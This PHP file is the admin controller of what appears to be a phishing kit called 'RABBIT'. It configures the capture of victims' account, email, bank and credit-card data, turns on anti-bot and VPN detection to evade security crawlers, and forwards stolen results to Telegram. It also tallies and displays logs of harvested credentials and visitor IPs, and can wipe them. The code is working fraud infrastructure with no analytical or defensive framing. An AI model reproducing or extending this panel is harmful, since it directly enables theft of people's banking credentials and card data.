<?php

defined("ALLOW") or exit('No direct script access allowed');

class Admin
{

    public function index()
    {
     if (!isset($_SESSION['token'])) {
           echo view('admin/login');
        } else if (!is_file(FCPATH .'RABBIT/LIVE/.settings.ini')) {
            header('Location: /setup');
            exit();
        } else if (_config('ADMINACCESS') == "") {
            echo view('admin/logout');
            exit();
        } else {
            echo view('admin/dashboard');
        }
    }

    public function login()
    {
            echo view('admin/login');
    }
    
     public function sig()
    {
        if (($_POST['go']) == _config('ADMINACCESS')) {
            $_POST['go'] = $_SESSION['token'];
            $_SESSION['token'] = true;
            echo view('admin/dashboard');
        } else {
            $_SESSION["sukses"] = 'swal("Error", "Invalid Key", "Error");';
            echo view('admin/login');
            exit();
        }
    }

    
    public function settings()
    {
        if (empty(_config('ADMINACCESS'))) {
            echo view('admin/login');
        } else if (_config('ADMINACCESS') == "") {
            echo view('admin/logout');
            exit();
        } else {
            echo view('admin/settings');
        }
    }
    public function update()
    {
        if (isset($_POST['updatesetting'])) {
            $token          = $_POST["adminaccess"];
            $result         = $_POST["result"];
            $parameter      = $_POST["parameter"];
            $blocker        = $_POST["blocker"];
            $antibot        = $_POST["antibot"];
            $stopbot        = $_POST["stopbot"];
            $getaccount     = $_POST["getaccount"];
            $getemail       = $_POST["getemail"];
            $getbank        = $_POST["getbank"];
            $vpndetect      = $_POST["vpndetect"];
            $doublecard     = $_POST["doublecard"];
            $telegram       = $_POST["telegram"];
            $authlog        = $_POST["authlog"];
            if (empty($token && $result && $parameter && $blocker && $antibot && $stopbot && $getaccount && $getemail && $getbank && $vpndetect && $doublecard && $telegram && $authlog)) {
                $_SESSION["sukses"] = 'swal("Error", "Please input all fields.", "error");';
                echo view('admin/settings');
                exit();
            } else if (_config('ADMINACCESS') == "") {
                $_SESSION["sukses"] = 'swal("Error", "Change Failed", "error");';
                echo view('admin/settings');
                exit();
            } else {
                $f = fopen(FCPATH . "RABBIT/LIVE/.settings.ini", "w");
                fwrite($f, "ADMINACCESS = \"$token\"\nRESULT = \"$result\"\nPARAMETER = \"$parameter\"\nBLOCKER = \"$blocker\"\nANTIBOT = \"$antibot\"\nSTOPBOT = \"$stopbot\"\nGETACCOUNT = \"$getaccount\"\nGETEMAIL = \"$getemail\"\nGETBANK = \"$getbank\"\nVPNDETECT = \"$vpndetect\"\nDOUBLECARD = \"$doublecard\"\nTELEGRAM = \"$telegram\"\nAUTHLOG = \"$authlog\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "Update Success.", "success");';
                echo json_encode(array("status" => "Update Success."));
                echo view('admin/settings');
                exit();
            }
        }

        if (isset($_POST['gasreset'])) {
            $resetlog = $_POST['resetlog'];

            if (empty($resetlog)) {
                $_SESSION["sukses"] = 'swal("Error", "SYSTEM ERROR.", "error");';
                echo view('admin/dashboard');
                exit();
            } else if (_config('ADMINACCESS') == "") {
                $_SESSION["sukses"] = 'swal("Error", "Unknown Session.", "error");';
                echo view('admin/logout');
                exit();
            } else if ($resetlog == "resetlog") {
                foreach (['log_account.txt', 'log_cc.txt', 'log_robot.txt', 'log_email.txt', 'log_click.txt', 'log_bank.txt', 'log_papid.txt', 'log_human.txt'] as $filename) {
                    file_put_contents(FCPATH . "RABBIT/Static/$filename", "");
                }
                $_SESSION["sukses"] = 'swal("success", "Reset Success.", "success");';
                echo view('admin/dashboard');
            } else {
                $_SESSION["sukses"] = 'swal("Error", "SYSTEM ERROR.", "error");';
                echo view('admin/dashboard');
                exit();
            }
        }

        if (isset($_POST['updatetoken'])) {
            $rbttoken           = $_POST["rbttoken"];
            if (empty($rbttoken)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly.", "error");';
                 echo view('admin');
                exit();
            } else if (_config('ADMINACCESS') !== $_SESSION['token']) {
                $_SESSION["sukses"] = 'swal("Error", "Unknown Session.", "error");';
                echo view('admin/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "RABBIT/LIVE/blocker.ini", "w");
                fwrite($f, "RABBITKEY = \"$rbttoken\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "Update Success", "success");';
                echo json_encode(array("status" => "Update successful."));
                 echo view('admin');
                exit();
            }
        }

        if (isset($_POST['updateantibot'])) {
            $antibot           = $_POST["antibot"];
            if (empty($antibot)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly", "error");';
                 echo view('admin/antibot');
                exit();
            } else if (_config('ADMINACCESS') == "") {
                $_SESSION["sukses"] = 'swal("Error", "Unknown Session.", "error");';
                echo view('admin/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "RABBIT/LIVE/antibot.ini", "w");
                fwrite($f, "KEY = \"$antibot\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "Update Success.", "success");';
                echo json_encode(array("status" => "Update successful."));
                echo view('admin/antibot');
                exit();
            }
        }
        
        if (isset($_POST['uptel'])) {
            $token        = $_POST["token"];
            $id           = $_POST["id"];
            if (empty($token) && empty($id)) {
                $_SESSION["sukses"] = 'swal("error", "SYSTEM ERROR!.", "error");';
               echo view('admin/telegram');
                exit();
            } else if (_config('ADMINACCESS') == "") {
                $_SESSION["sukses"] = 'swal("Error", "session not detect.", "error");';
                echo view('admin/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "RABBIT/LIVE/telegram.ini", "w");
                fwrite($f, "token = \"$token\"\nidtelegram = \"$id\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "Update Success.", "success");';
                echo json_encode(array("status" => "Update successful."));
                echo view('admin/telegram');
                exit();
            }
        }
        if (isset($_POST['updatestopbot'])) {
            $stopbot           = $_POST["stopbot"];
            if (empty($stopbot)) {
                $_SESSION["sukses"] = 'swal("Error", "Please Fill in All Fields Correctly", "error");';
                 echo view('admin/stopbot');
                exit();
            } else if (_config('ADMINACCESS') == "") {
                $_SESSION["sukses"] = 'swal("Error", "session not detect.", "error");';
                echo view('admin/logout');
                exit();
            } else {
                $f = fopen(FCPATH . "RABBIT/LIVE/stopbot.ini", "w");
                fwrite($f, "KEY = \"$stopbot\"\n");
                fclose($f);
                $_SESSION["sukses"] = 'swal("success", "Update Success.", "success");';
                echo json_encode(array("status" => "Update successful."));
                echo view('admin/stopbot');
                exit();
            }
        }
    }

    public function antibot()
    {
            echo view('admin/antibot');
    }

    public function stopbot()
    {
            echo view('admin/stopbot');
    }
    
        public function telegram()
    {
         echo view('admin/telegram');
    }
        
    public function finished()
    {
        echo view('admin/finished');
    }

    public function logout()
    {
        session_start();
        session_destroy();
        echo json_encode(array("status" => "Logout Successful", "site" => "https://www.rabbitofc.icu"));
        echo view('admin/login');
    }

    public function logclick()
    {
        if (file_exists(FCPATH . "RABBIT/Static/log_click.txt")) {
            $bit = file_get_contents(FCPATH . "RABBIT/Static/log_click.txt");
            $bit = explode("\n", $bit);
            $list = array_reverse($bit);
            foreach ($list as $rabbit) {
                $rabbit = explode("|", $rabbit);
                $flag = $rabbit[1];
                $time = $rabbit[2];
                $ip = $rabbit[3];
                $countryname = $rabbit[4];
                $os = $rabbit[5];
                $type = $rabbit[6];
                if ($ip == "") {
                } else {
                    echo "<tr>
                        <td><img src='" . $flag . "' style='width: 50px;height: 30px;'></img></td>
                        <td>" . $ip . "</td>
                        <td>" . $countryname . "</td>
                        <td>" . $os . "</td>
                        <td>" . $type . "</td>
                        <td>" . $time . "</td>
                        </tr>";
                }
            }
        } else {
            echo "<tr><td>Not found</td><td></td><td></td><td></td><td></td></tr>";
        }
    }

    public function json()
    {
        $log_account = file_get_contents(FCPATH . 'RABBIT/Static/log_account.txt');
        $log_email      = file_get_contents(FCPATH . 'RABBIT/Static/log_email.txt');
        $log_cc       = file_get_contents(FCPATH . 'RABBIT/Static/log_cc.txt');
        $log_bank      = file_get_contents(FCPATH . 'RABBIT/Static/log_bank.txt');
        $log_click      = file_get_contents(FCPATH . 'RABBIT/Static/log_click.txt');
        $log_human      = file_get_contents(FCPATH . 'RABBIT/Static/log_human.txt');
        $log_robot      = file_get_contents(FCPATH . 'RABBIT/Static/log_robot.txt');

        $parseAccount = explode("\r\n", $log_account);
        $parseEmail   = explode("\r\n", $log_email);
        $parseCC       = explode("\r\n", $log_cc);
        $parseBank  = explode("\r\n", $log_bank);
        $parseclick       = explode("\r\n", $log_click);
        $parsehuman      = explode("\r\n", $log_human);
        $parserobot      = explode("\r\n", $log_robot);
        

        echo json_encode(array(
            'logaccount' => @(int) (count($parseAccount) - 1) ? (int) (count($parseAccount) - 1) : "0",
            'logemail'  => @(int) (count($parseEmail) - 1) ? (int) (count($parseEmail) - 1) : "0",
            'logcard'   => @(int) (count($parseCC) - 1) ? (int) (count($parseCC) - 1) : "0",
            'logbank'   => @(int) (count($parseBank) - 1) ? (int) (count($parseBank) - 1) : "0",
            'logclick'   => @(int) (count($parseclick) - 1) ? (int) (count($parseclick) - 1) : "0",
            'loghuman'   => @(int) (count($parsehuman) - 1) ? (int) (count($parsehuman) - 1) : "0",
            'logrobot'   => @(int) (count($parserobot) - 1) ? (int) (count($parserobot) - 1) : "0"
        ));
    }
}